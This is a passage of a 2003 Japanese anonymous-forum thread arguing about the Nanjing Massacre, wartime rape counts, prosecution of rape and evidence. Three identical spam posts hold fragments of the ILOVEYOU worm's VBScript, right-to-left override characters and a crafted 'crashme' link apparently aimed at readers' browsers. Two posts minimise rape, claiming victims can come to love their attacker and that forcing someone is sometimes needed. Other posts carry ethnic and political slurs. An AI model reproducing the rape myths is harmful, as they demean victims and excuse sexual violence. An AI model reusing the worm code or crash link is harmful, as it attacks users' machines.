言ったのかは分からない。いったいこれのどこが不誠実だ。



294 :名無しかましてよかですか?:03/08/20 15:53 ID:LE0eIg2I
>>293
>現代社会でもきちんと起訴、実刑となっているのは
>そのなかのほんの一握り、氷山の一角です。
具体的な数字を挙げましょうよ!
こういう積み重ねがないと、また、平行線になる。
議論の根拠を固めませんか?

>現行犯の場合被害者はその場で保護する。供述調書を 作成して,告訴状書かせるぐらいすぐだぞ
強姦罪の場合は、相手が恋人の場合もあるんだよ。
痴話げんかを、いちいち起訴しない。
だ・か・ら
親告罪になってるんだ。
それでも、告訴したいものだけが、裁判にかけられる。
相手があるから、このレイプをきっかけに結婚する人だっている。
あんたの議論は、そういう背景を無視してるんだよ。
現行犯逮捕であっても、不起訴は十分ありうる。



295 :222:03/08/20 16:01 ID:q+nLaIKo
>>281
>当時は誰もしらかなったという否定派に対し
>て,石川が「生きている軍隊」を書いている。当時から南京事件を知っていた
>日本人もいたという証拠なのだ。
>「生きている兵隊」は当時書かれた著書なんですか?へえー・・・

 ひょっとして,単行本しか知らないのかな?掲載した昭和13年3月の「中央公論」が即日発禁になったことも知らないかな。
まさか,3ヶ月たっているから,当時とは言わないなどといわないでくれよ。

>その理論を用いるなら、「誰に対して不利益なのか」という事をよく考えましょうね。
日本人が日本の不利益になる発言をしたからといって、
「その発言者自身に不利益」とは限りませんよ。分かりますか?

 本当に頭悪すぎ。不利益供述とは,自分に不利益なことを言うんだよ。自分の過去の加害行為を告白する証言が多数あるの
を知らないはずはなかろうに。

>>偕行社が,南京事件がなかったことを証明しようとして,証言を集めたところ,事件が
>>あったという証言が多数集まった事実はどうだ。
>どこかのアジビラから拾ってきたような情報ですな。ソースは何ですか?
>それともあなた自身が偕行社内の人間なのですか?

 偕行社も知らないで,議論していたのか?俺は,そんな年寄りじゃない。自分で調べろ。
 偕行社の「南京戦史」がどのようないきさつで出版されたのか,誰かこの馬鹿に教えてやってくれ。



296 :222:03/08/20 16:02 ID:q+nLaIKo
>>証拠にそんな制限はない。
>証拠として提示した文面に矛盾があってもですか?
例えば私の個人的な日記に
「222は昨日の夜7時に札幌で人を殺し、8時に沖縄で強姦した!」
と書いてあっても、証拠として通用するんですか?(笑)

 君は,証拠能力と証拠価値を混同していないか?
俺は書いているだろうが,関連性と信用性の吟味だ。矛盾した内容であれば信用性が低いか,誤記かだろうな。本当に誰に見せる
つもりのない日記だったのなら,意図的に嘘を書く可能性が低いだろうから,誤記の可能性があるんじゃないか。
俺が,札幌にいたのが前の日で,その翌日に沖縄にいたことが何かの証拠から明らかなら,「場合によっては」札幌の殺しと沖縄
の強姦の証拠価値があるかもしれない。

297 :名無しかましてよかですか?:03/08/20 16:14 ID:LE0eIg2I
>>222
論破された香具師が、空しく詭弁を続けるスレはここでつか?(藁


298 :222:03/08/20 16:15 ID:q+nLaIKo
>>294
 本当に大丈夫か?
>>現行犯の場合被害者はその場で保護する。供述調書を 作成して,告訴状書かせるぐらいすぐだぞ
>強姦罪の場合は、相手が恋人の場合もあるんだよ。
 
 夫婦間の強姦はたまに聞くが,恋人同士の強姦とはあまり聞かないな。好きだからつきあっているんだろう。
あり得るとしたら,友達と一緒になった輪姦か,元恋人による強姦だな。前者は親告罪じゃないし,後者は
もう恋人とは言わない。 

>痴話げんかを、いちいち起訴しない。
 仮にだ,恋人同士の強姦があったとして起訴されないのは「痴話げんか」だからではない。告訴がなかったからだ。
ついでに教えると,親告罪であろうと非親告罪であろうと,最低限被害届がなければ起訴なんかしないよ。まあ,
殺されれば別だがな。
 頭の中でだけ議論していると,そんなことも分からないのかな。

299 :名無しかましてよかですか?:03/08/20 16:23 ID:LE0eIg2I
>>298
>夫婦間の強姦はたまに聞くが,恋人同士の強姦とはあまり聞かないな。好きだからつきあっているんだろう。
あのな。
いろんな性の形があるだろ?
現行犯逮捕なんだから、外から通報されて、プレイ中に踏み込まれることもある。
女性の命にも関わるかも知れないから、すぐに連行するさ。
そうした後で、「恥ずかしいことなんですが・・・」と、やったりもする。

相手を、強姦中に愛してしまう例だってあるよ。
現行犯逮捕しても、起訴されない例は、いくらでもある。
起訴状を無理やり書かせても、取り下げ(出来ること、知ってるよね?)る事もできる。
必ずしも、暴力でのレイプばかりでもない。
何件中、起訴が何件とか、数えられるものではない。
これと、殺人罪の場合は、違うだろう。
親告罪(親子の殺人未遂)の場合もありえるが、これは強姦の親告罪とは比べ物になるまい。(限られた例でしかない)

>ついでに教えると,親告罪であろうと非親告罪であろうと,最低限被害届がなければ起訴なんかしないよ。まあ,
>殺されれば別だがな
殺されないまでも、口がきけない程度にダメージを受けさせれば、当然に、検察は起訴しますって。w

輪姦の場合、なぜ、起訴されなくても捜査が始まるか、分かりますか?
輪姦を繰り返す可能性があるからだ。
被害届を待っていたのでは、次の被害者が出るからだ。
こういう場面を、君は考えもしなかったろうが。

で、南京とどういう関係があって、こんな議論が進むのだ?w


300 :222:03/08/20 16:25 ID:q+nLaIKo
>>297
 一見矛盾した証拠の中に真実があることは,そんなにレアケースではないよ。

 警察がそのような日記をみたとき,はい矛盾しているからボツと吟味しないと思うか?
何でこんなあり得ない記述をしたのかを考えるだろう。一つは,意図的に嘘を書いた日記
第三者に読まれ足ることを予想した日記である可能性,そうでなければ,どこかに誤記が
あり,なにがしかの真実があるのではないかと思って捜査する。当たり前だろう。

301 ::03/08/20 16:25 ID:+ndqQ1Fx
>相手を、強姦中に愛してしまう例だってあるよ。

女性の視点からそれはありえないかと思われます。

302 :222:03/08/20 16:28 ID:q+nLaIKo
>>299
 だんだん荒唐無稽になってきたな。

 現行犯でもない限り,輪姦事件だからといって被害届もないのに
捜査が開始されることはない。知らないことを知っているように書
くなよ。

303 :名無しかましてよかですか?:03/08/20 16:29 ID:LE0eIg2I
>>301
知り合いからききました。
本気でレイプされていたのならまだしも。
交際相手として、迷っていた時に、強引にされたら、あると言われたこと、あります。
気持ちが分からないって。
でも、好きな人なんだろうから、いいんじゃないかって。
強引な押しが、時には必要だって、言われました。
私は恐くて、レイプなんか出来ませんでしたけどね。w


304 :あう使い(マッハ):03/08/20 16:30 ID:Zk8zgVA6
&rlo; http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=1314&KEY=1026453049
&rlo; ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥

305 :名無しかましてよかですか?:03/08/20 16:31 ID:LE0eIg2I
>>302
近所からの通報でも、捜査は始まります。
まして、それが数件繰り返していたりしたら、警察の威信にかけても捕まえます。
違いますか?


306 ::03/08/20 16:32 ID:+ndqQ1Fx
>>303
レイプの定義が微妙に違うようですね(;´Д`)

307 :あう使い(マッハ):03/08/20 16:35 ID:Zk8zgVA6
&rlo; http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=1314&KEY=1026453049
&rlo; ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥

308 :222:03/08/20 16:40 ID:q+nLaIKo
>>305
 ひどい輪姦事件でしたら,被害者を説得して被害届を出してもらって立件することはあるでしょう(輪姦や致傷)であっても。
被害届をどの被害者も出さなければ(現行犯は別)逮捕もしないし,起訴もしません。

 だって,公判で私やられてませんといったら,どうやって立証するの)。

309 :あう使い(マッハ):03/08/20 16:43 ID:Zk8zgVA6
&rlo; http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
以上、ケン・コロスでした!  
http://news2.2ch.net|test|read.cgi|newsplus%40195.126.71.77/%63%72%61%73%68%6D%65
http://jbbs.shitaraba.com/game/bbs/read.cgi?BBS=1314&KEY=1026453049
&rlo; ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥ ♥          

310 :113:03/08/20 17:07 ID:PwRNg3Rd
どうも、過去ログ読んでれば皆わかると思うが

222は俺たちと議論するのではなく洗脳したいらしいので、どうするかな?w

数日前のログと検証すればわかるが、言ってる事が矛盾しまくってる。
何かを基本ベースにして論を発展させてるように見せているが、そのつど
主張が飛躍したものになり、それがかなり前後でつじつまあわなくなってる。
俺の勘違いならいいのだがなw

めんどうなので、222流に「証拠は自分で探せ」で4649

311 :222:03/08/20 17:14 ID:q+nLaIKo
>>113
 単純に君の勘違いだね。

312 :113:03/08/20 17:27 ID:PwRNg3Rd
>>311

では、申し上げる事はございません(;´Д`)w

313 :名無しかましてよかですか?:03/08/20 17:30 ID:LE0eIg2I
これで、長く続いたここも、終わりかな?w


314 :113:03/08/20 17:38 ID:PwRNg3Rd
議論の基本姿勢を維持できる人だけで進めても良いので

上にもあったけど、やっぱ「検証する」姿勢が議論には大事なのでね。

曖昧な議論に誘導しようとした222は除いてやればいいと思うよ。

と、いまさらならが>>1の言にしたがってみよう。

315 :113:03/08/20 17:42 ID:PwRNg3Rd
実際、過去ログだと否定・肯定ともに随時立場を入れ替えてる箇所も存在する。

ある人は否定の立場だが、時として他の否定派の言の不備を指摘したりしてる。
シンプルに事実検証を重視するという面もあったわけだから、それほどひどいスレでもないよ。

316 :113:03/08/20 17:44 ID:PwRNg3Rd
222
は自分の書く内容を推敲しないといっている。
その段階で、最低限の議論に対する誠実さが失われてるってことだ。

やっぱ、夏だからかな・・・

317 :名無しかましてよかですか?:03/08/20 17:46 ID:LE0eIg2I
>>315
一部の、心ある有志で、継続すればいいのでは?
だが、確たる証拠を追い詰める姿勢を持たないと、議論がなじりあいに始終するよ。
興味深い話題なのに、その辺が残念でならない。


318 :名無しかましてよかですか?:03/08/20 17:50 ID:PwRNg3Rd
>>317

それはそう。
ただ、もう1度スタートからやり直さないといけないかもしれん。
資料ももう1度再検討だな。
その作業を単独ではなく、派閥観抜きで有志でやれればまた違った展開だろう。

319 :222:03/08/20 17:51 ID:q+nLaIKo
>>113
 いったい何が曖昧なのかな。

 法務官が,「莫大な数」の強姦があったと認識していた。その事実を,数の問題にすり替えようとしたのは否定派じゃないか。

 被害証言があっても,加害証言があっても認めない。外国人の目撃証言すら,信用しないと言い張る。だから,当時の検察官の
役割を担った法務官の証言を紹介したんじゃないか。「親告罪」などという訳の分からない論法を持ち出したのは否定派だ。
法務官が「莫大な数」と考えた強姦数をどうとらえるんだ。多くのという表現ではないのだよ。被害証言,加害証言,外国人の目撃
証言,兵士の目撃証言と一致しているじゃないか。それを,どう否定するのだ。一部の少数の不心得者の犯行だったら,「莫大」
等という表現を使うか?たまたま捕まった奴と比較して不公平だからと起訴しないか?

 否定派の諸君は,きちんと証拠を示しても,信用できないで済ましてします。ラーベの日記ですら,認めようとしない。まともに議論
するというのなら,強姦は親告罪だから,告訴されるまでは適法なんだという馬鹿をどうにかしてからにしろよ。

320 :名無しかましてよかですか?:03/08/20 17:54 ID:LE0eIg2I
>>318
思うんだが。
日本人の我々(違っていたらすまんw)にとっても、大変興味深い事件だと思わないか?
自論は、賛成、反対、あっていいと思うよ。
だけど、ここで議論するからには、「真実」を知りたいわけだよね?
(相手を単に論破するのが目的なら、それはそれで構わないが)
自論に有利、不利を考えずに、謙虚に資料の真偽を問うてみてはどうか?
自論を守る以上に、真実の追究をしてみてはどうか?
そのための、賛成派のアプローチ、反対派のアプローチはいいが。
相手を論破するだけでは、いつまで経っても、真実は見えないと思うから。
結論を出して欲しい。
当事者ではないが、長く続くここの論争を、前向きにして欲しいと願っております。
頑張って下さい。
時々、見に来ます。w


321 :名無しかましてよかですか?:03/08/20 18:00 ID:PwRNg3Rd
>>320

全くその通りだ。
この糞みたいな数日に最後に320さんみたいな人がいてくれたことに
感謝だな。
Thx!!

最後になるが、222は俺の立場として議論に値する品性を備えてないので
以後、全てスルーさせてもらう。
彼のような最低限のマナーも備えてない人と話しても絶対に真実が見えないだろうからね。

322 :113:03/08/20 18:10 ID:PwRNg3Rd
コテ付け忘れてたので、追記する

ついでに、>>319
に対して不備を一つだけ書いておこう。

断定口調で持論を展開してるが、資料を持ち出すことは君に取っては言い訳。

>法務官が「莫大な数」と考えた強姦数をどうとらえるんだ。多くのという表現ではないのだよ。被害証言,加害証言,外国人の目撃
>証言,兵士の目撃証言と一致しているじゃないか。それを,どう否定するのだ。一部の少数の不心得者の犯行だったら,「莫大」
>等という表現を使うか?たまたま捕まった奴と比較して不公平だからと起訴しないか?

ミクロな事象(具体的な事件数をあげてない。また小川の言はある意味酒の席の愚痴レベルとも取れる。一切の責任を追及されない感慨でしかない)
をマクロに拡大してスリカエ(資料を読んで感じた君の主観により君の主張は構成されてる。小川が俺たちに主張しているわけではない)
しているだけなの。

これは誠実な姿勢ではないよw
謙虚さのかけらもない。
小川が嘘をついてないという確証もないでしょ?
そもそもコレが真実かどうかも万国共通に認められる事柄ではない。

キミと違って、他の人は資料を違う形で提示してる。
過去ログ読め

323 :222さんへのエール:03/08/20 18:37 ID:RSd7qhqB
横レス須磨祖でつが、これ一度っきりということで。

結局の所、ドイツもロシア(ソ連含む)もアメリカもそれぞれ重大な戦時犯罪を犯してるのでつ。
南京大虐殺完全否定派(資料改竄犯田中正明、決定的史料発掘と言いつつ何故かその後も史料発掘に勤しむ東中野修道、あとは彼らの忠実なるリピーター、黄文雄などなど)
の立場はホロコースト否定派やスターリン大粛清否定派と、
欧米の学界でもマスメディアでも同一視されていまつ。
彼ら自身が日本の国際的イメージを損なっている悲喜劇に気づかないのは、何と称すべきなのか。

南 京 大 虐 殺 を 歴 史 的 事 実 と し て 承 認 し て も
国 際 条 約 で す で に 国 家 間 で は 解 決 済 み、
そ し て 個 人 補 償 に 道 を ひ ら く た め 個 人 に 請 求 権 認 め た ら
日 本 側 の 方 が 黒 字 収 支 に な る や も し れ な い の で
か え っ て 近 隣 諸 国 は 困 る っ て だ け の 話 だ か ら
何 も 政 治 的 都 合 と 引 き 換 え に 良 心 を 売 る な よ な。

馬 鹿 ウ ヨ  こ そ 売 国 奴。

324 :113:03/08/20 18:40 ID:PwRNg3Rd
>>323

>・政治性の強い話題などは別スレに移って存分にやってください。

勝手にスレの内容変えるなw

325 :名無しかましてよかですか?:03/08/20 20:15 ID:M6UdM/oS
>>293
>違うな。法務官すなわち検事が,捕まえてない強姦事件が多数あるから捕まえた奴だけ処罰するのは,不公平だと考えるくらい
>無秩序だったということだ。

え?それって無秩序ってことなの?その法務官個人の意見ですよね、それ。
じゃあ仮に現代で私が警官だったとして、
捕まってない強姦犯もいるのに捕まったやつだけ処罰するのは不公平!
と、「個人的主観」を言ったら、「現代日本」は無秩序って事ですか?

ついでに言うと、>>222で君が引用した法務官答弁は、
そういう意味「だけ」ではないだろう?恣意的な理論展開と言わざるを得ない。

>現行犯の場合被害者はその場で保護する。

だーかーらー(笑)
現場の憲兵達は、強姦の現行犯を「見つけたら」検挙してるわけでしょ?
「だから」最低限の秩序がある、と言っているんですが、まだ理解できない?

>そのことが小川法務官の考える「莫大な数の強姦」があったことを否定する根拠にはならん。
(中略)
>前にも書いたが,1000人程度だと,常識的に莫大とは言わないと思うが,それ以上,どの程度の数字を考えて「莫大」と
>言ったのかは分からない。

だーかーらー(笑)君の言う「小川の言う莫大」の定義を君がしないでこっちに聞くから、
「じゃあ100億」といってるんです。本当は100兆って書きたかったくらいで(笑)
もう面倒だからはっきり言いましょうか?あなたは何も提示していない、
にも関わらず相手に回答を要求してるんです。だから答えようが無い。
どうせ答えないんでしょうけどもっぺん聞きます、
「小川の言う莫大」とは具体的にどのようなものを指すのですか?

326 :名無しかましてよかですか?:03/08/20 20:19 ID:M6UdM/oS
>>294
>具体的な数字を挙げましょうよ!

http://www.gender.go.jp/whitepaper/h15/danjyo/html/honpen/chap01_05_02.html
#警察庁の統計によると,平成14年における強姦の認知件数は,
#3年連続2,000件を超えて2,357件となり,前年に比べ129件(5.8%)増加した。

http://www.jp-health.com/sex_crimes/measure.htm
#強姦や強制わいせつなどの性犯罪は、潜在性が高く、警察に届けられるのは、
#全体の5%〜10%程度とも言われ、多くの被害者の方が届け出をしないで、
#泣き寝入りしているのが実情です。

あとは自分で計算してください。それくらいできますよね?

327 :名無しかましてよかですか?:03/08/20 20:22 ID:M6UdM/oS
>>295
>不利益供述とは,自分に不利益なことを言うんだよ。

言葉の定義は分かりました。で、あなたの言う証言は不利益供述なんですか?
言葉の定義と、実際にそれに当てはまるかどうかは関係ありませんよ?

>偕行社も知らないで,議論していたのか?俺は,そんな年寄りじゃない。自分で調べろ。

該当発言はソース無し、と解釈してよろしいですね?

328 :名無しかましてよかですか?:03/08/20 20:34 ID:M6UdM/oS
>>296
長々と説明されてるところすみませんが、要するに発端である>>266
「矛盾があろうが無かろうが証拠は証拠だ」
という事を言ってるわけですね?で、
それらの証拠についての吟味はまた別の話、という事ですね?
それなら特に言う事はありませんので、了解。

>>298
>本当に大丈夫か?
>>302
>だんだん荒唐無稽になってきたな。

>>294>>299を私(または113氏)と勘違いしてませんか?
あと、>>300ですが(>>297も私ではないですが)、
>一見矛盾した証拠の中に真実があることは,そんなにレアケースではないよ。

またレトリックですか?「そういう例もある」レベルの話を、
いかにも「それが一般的である」かのように表現なさってますね。

329 :名無しかましてよかですか?:03/08/20 20:42 ID:M6UdM/oS
>>319
>いったい何が曖昧なのかな。
>法務官が,「莫大な数」の強姦があったと認識していた。
>その事実を,数の問題にすり替えようとしたのは否定派じゃないか。

そういう問題ではありません。またスリカエですか?
あなたの方から「莫大な数の強姦があった事を認めるか」と質問してきたのです。
ですから「莫大とは具体的にどの程度か」と聞き返してるだけです。
小川法務官が質問してきたんじゃありません。あなたが質問したのです。
ただこれだけの話なのに、いつまではぐらかすのですか?

>被害証言があっても,加害証言があっても認めない。外国人の目撃証言すら,信用しないと言い張る。

まるで否定派が「何ら吟味する事無く否定してる」ような表現ですね。
そういう表現が許されるならこちらも言いましょう、
「肯定派は虐殺否定の証言があっても資料があっても認めない、信用しないと言い張る」。

>被害証言,加害証言,外国人の目撃
>証言,兵士の目撃証言と一致しているじゃないか。

莫大な強姦を見た、という証言なんて他にありましたっけ?
ていうか他のもそうですが、あなた自分でソース出さないんですね(笑)

330 :名無しかましてよかですか?:03/08/20 20:44 ID:M6UdM/oS
>>323
内容に関してはスルー(つーか内容無いし)ですが、1つだけアドバイス。
スペース空け文章は、ここぞという1行にだけ使う方が印象強いですよ。
数行に渡ってスペース空けしてると、単なる「失敗」にしか見えません。

331 :名無しかましてよかですか?:03/08/21 00:40 ID:hiOHjNL2
323の言っている内容こそが売国奴だと思うが。

332 :名無しかましてよかですか?:03/08/21 00:51 ID:6Ed7ilfv
仮に否定派がいなかったとする

@賠償問題決着済み。既出
A中国の外交カードが一枚減る(否定派が騒ぐたび一枚追加 
               例 永野元法相など)

うまー

333 :113:03/08/21 03:48 ID:DWLynBku
>>332

この手の話はケリついてるので以後出てきても以下の文が否定されない限りスルー。

「否定派がいようがいまいが事件内容がハッキリしない限り半永久的に外交カードに使われます」



334 :名無しかましてよかですか?:03/08/21 07:41 ID:i4D6OIau
記念館には当然30万人分の犠牲者リストはあるんでしょ?

335 :名無しかましてよかですか?:03/08/21 09:16 ID:zLSW8/z2
>>333
その文とやらはとっくに否定されてますが何か?

事件内容は東京裁判などで明らかになってます。それに基づいて賠償問題が決着してるんですよ。
それをひっくり返そうとするから政治問題となって外交カードに使われるのです。

336 :名無しかましてよかですか?:03/08/21 09:30 ID:66VvgkNO
>>335
バカ。事件自体が否定されない限り、
類まれな残虐事件としての存在し続ける限り
カードとして使われるんだよ。
それに嘘を嘘といえない世界なんぞ認めてどーするよ?
シナが恫喝してくる度に「ざけんな!」といえる
世界こそがまとも。俺は奴隷はごめんだ。

337 :名無しかましてよかですか?:03/08/21 09:34 ID:66VvgkNO
>>335
そもそも言っていることがデタラメだろ。
東京裁判で明らかになり、それに基づいて賠償問題が決着?
ブサヨ真理教の世界内でだけの話だろ?

338 :113:03/08/21 09:58 ID:DWLynBku
サンフランシスコ平和条約上で東京裁判の判決を受け入れる

ってのが賠償問題を決着してる根拠なのだろう。
それはいい。
よくわかる。

だが、外交カードとして使われる局面がそれだけだと思ってるのなら
話にならない。
賠償という名前でなくとも、外交カードにより日本に無限の譲歩をさ
せることも不可能ではない。

そこで、事実関係がハッキリ(否定肯定関係ない)していれば対策もでるというものだ。
だが、実際は30万以上の犠牲者という無茶な外交カードを使ってくる。

最悪のケース、中国の核ミサイルの誤射で日本人が12万人ほど殺されても
向こうには30万人という札が切れることになる。

双方納得できる交流関係を結ぶ方法は、あった・なかっただけの単純な話ではないわけ。


339 :名無しかましてよかですか?:03/08/21 10:14 ID:6Ed7ilfv
>338
それは違うだろ。

先の日中戦争を通して、中国人死傷者は1000万人を超えるともいわれ
るが、だからといって「日本人を」1000万人もしくは負けて500万人
殺してもいい、なんつう話はでてこない。

>最悪のケース、中国の核ミサイルの誤射で日本人が12万人ほど殺されても
>向こうには30万人という札が切れることになる。

荒唐無稽だとおもうぞ。
南京事件を離れ、国際刑事司法裁判所(ハーグ)だの国連憲章だの、サヨの
論文などをよまれ、人道感覚を磨かれてはどうだろう?

340 :補足訂正:03/08/21 10:16 ID:6Ed7ilfv
その想定は荒唐無稽だとおもうぞ。
しばらく南京事件を離れ、国際刑事司法裁判所(ハーグ)設立の経緯、国連
憲章の中身、又サヨの論文などをよまれ、人道感覚を磨かれてはどうだろう?



341 :名無しかましてよかですか?:03/08/21 10:31 ID:qu4sY/Xq
30万人も、どこに埋めたのよ。
発掘しる。

342 :名無しかましてよかですか?:03/08/21 11:20 ID:66VvgkNO
>>338
「サンフランシスコ平和条約上で東京裁判の判決を受け入れる
ってのが賠償問題を決着してる根拠なのだろう。
それはいい。 よくわかる。」

俺にはわからんぞ?判決を受け入れたというのは
刑の執行を引き受けたということだし、
そもそもシナはサンフランシスコ講和条約には関係ないはずだが?

343 :222:03/08/21 11:24 ID:rwDkUg6C
>>M6UdM/oS
 「生きている兵隊(軍隊は間違いだったな9」が昭和13年3月に掲載されたことは理解できたか。
>え?それって無秩序ってことなの?その法務官個人の意見ですよね、それ。
じゃあ仮に現代で私が警官だったとして、
捕まってない強姦犯もいるのに捕まったやつだけ処罰するのは不公平!
と、「個人的主観」を言ったら、「現代日本」は無秩序って事ですか?

 小川氏は,当時,第10軍法務部長だ。たった一人に警察官じゃない。
当時の南京の訴追側の代表者である。今で言えば検事正か,高等検察庁の
長官クラスだ。そういう人物の認識なんだよ。
 ついでに言うと,肯定派はマギー,ウィルソン,ベイツ等の東京裁判の
証言,ラーベの日記や手紙,加害者の告白,被害者の供述,その他当時の
軍関係者の残した記録から,立証している。小川の日記は,軍関係者の
残した記録の一つであり,治安担当の責任者の発言として重みがあるとい
うことだ。

>「小川の言う莫大」とは具体的にどのようなものを指すのですか?
 本当に卑劣な奴だな。君は,莫大という数字を使うとき,おおよそいくら
と念頭に置きながら使うのか?数えられないくらい多いときに使うのではないか?

 じゃあきくよ,船乗りシンドバットが見つけた盗賊の莫大な財宝とは,どのくら
いのことを言うの?
 小川が言いたかったのは,強姦犯の一人や二人を起訴したって,かえって不公平
なくらいの強姦が毎日行われていると言うことだろう。それらは,ラーベなのの供述
と一致する。

344 :名無しかましてよかですか?:03/08/21 11:32 ID:PQjIoTAS
>>343
>じゃあきくよ,船乗りシンドバットが見つけた盗賊の莫大な財宝とは,どのくら
いのことを言うの?

じゃあ、ここで論じられている資料も、「船乗りシンドバット」の冒険と同じ程度の真実味なのですね?w
そりゃあ、あんまりだよ。


345 :222:03/08/21 11:40 ID:rwDkUg6C
>>326
 俺の検挙件数の約10倍の強姦があるという記述と矛盾するか?
それとも,俺の知識が正しいことを,確かめてくれたという訳か。
 で,日本の検察官は捕まっていない強姦犯は,莫大だから起訴す
るのは不公平だと考えているか?違うだろう。
 少なくとも,検挙件数の10倍程度では,莫大とは言わないだろう
ということが明らかになったね。ありがとう。
>>327
>>偕行社も知らないで,議論していたのか?俺は,そんな年寄りじゃない。自分で調べろ。
>該当発言はソース無し、と解釈してよろしいですね?

 だから,自分で調べろと言ったじゃないか。強姦のことは調べて「偕行社」は調べないのか。
偕行社は,戦時中は陸軍の将校の親睦団体で,戦後も旧陸軍の将校の親睦団体として存続した。
その団体の機関誌で,南京事件がなかったことを証明しようとして証言を募集して「証言によ
る南京戦史」を1年にわたって連載した。ところが,当初のもくろみははずれ南京事件の存在を
示す証言が次々に明らかになった。そのため,その連載の総括で「中国人民に深くわびるしかな
い。誠に相済まぬ,むごいことであった」と編集責任者が詫びたんだよ。
 君が,親告罪がどうのこうのと利いた風なことを言っていたが,南京事件を議論しようとしたら
絶対に知っていなければいけないこの事実を知らずに,偕行社の意味すら知らずに,さも知識が
あるように,恥をさらけ出していたんだ。
http://www.google.com/search?q=%E5%81%95%E8%A1%8C%E7%A4%BE&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=




346 :113:03/08/21 11:46 ID:DWLynBku
>>339

そうだね。
実際荒唐無稽な例を出してみたが、これを絶対に押し切られないと思うほど
俺は楽観してないだけ。

そりゃあ、一切の責任の追及を逃れる事はないだろうが、これを言い張られたとき
切り返せるのだろうか、不安になる。

諸外国はよくて抗議はするだろうが、実効力はないと思われる。

しかも「人為的ミス」「担当者は処罰した」「核の管理は十分にしていきたい」など
言い張られて、責任を追及できる?
要は賠償を請求するだけでも難しくなるよね。

347 :名無しかましてよかですか?:03/08/21 11:55 ID:zLSW8/z2
>>338
いや、否定派が下手に騒いでない状況で、中国が南京事件をカードとして
切って来ても、「既に解決済み」で終了なんですが?
正直、これで押し切られるなら、押し切られるほうが悪い。と言うか南京で
なくても、どんな些細なネタでも、それこそ現代の日本人旅行者が何か不始
末しただけでも押し切られるぞ。

348 :名無しかましてよかですか?:03/08/21 12:01 ID:Cz0sihMt
強姦についてだが「莫大な数の強姦」を立証したいやつは
調査方法不明な個別な証言ではなくて強姦によって起こる
「混血児」、「人口増加」、「堕胎」といった資料を上げてね。
でなきゃ古今東西占領軍は強姦するといった通例の噂が
広がった程度のものでしかないということね。

349 :113:03/08/21 12:01 ID:DWLynBku
>>347

これであまり消費するのもいかんのだが

単純に疑問で

>と言うか南京で
>なくても、どんな些細なネタでも、それこそ現代の日本人旅行者が何か不始
>末しただけでも押し切られるぞ。


その辺はどうなってるの?

350 :222:03/08/21 12:09 ID:rwDkUg6C
>>113
>322
>これは誠実な姿勢ではないよw
>謙虚さのかけらもない。
>小川が嘘をついてないという確証もないでしょ?
>そもそもコレが真実かどうかも万国共通に認められる事柄ではない。

 人に見られることを想定していない日記に普通は,嘘は書かない。夢見る少女なら
別かもしれないがな。嘘をついていた確証?何を言っているんだか。嘘をつかなきゃ
いけない蓋然性が小川にあるのか?具体的にその蓋然性を示してくれよ。
 君がしなければいけないのはそういうことではないだろう。その日記が小川氏の物
であるとどうして確認されたのか?戦後に加筆訂正の後はないのか?そこだろう。
検証すべきなのは?そこが確認されたのなら,重要な第1次史料であることは,明らか
じゃないか?

 史料の提示と君は言うが,インターネットに山と溢れているじゃないか。ここの過去
ログに探せばあるだろう。君の言うとおり。そんなものを繰り返し貼り付けて何の意味
がある。
 だから,俺は学会がどういう風に動いていると問うているんだ?否定派は,日本でも
世界でも,圧倒的な少数説だろう。そのことすら,君は認めようとしていない。
 君が,中身の議論をしたいのなら,君たちが少数説であることを認めて,多数説であ
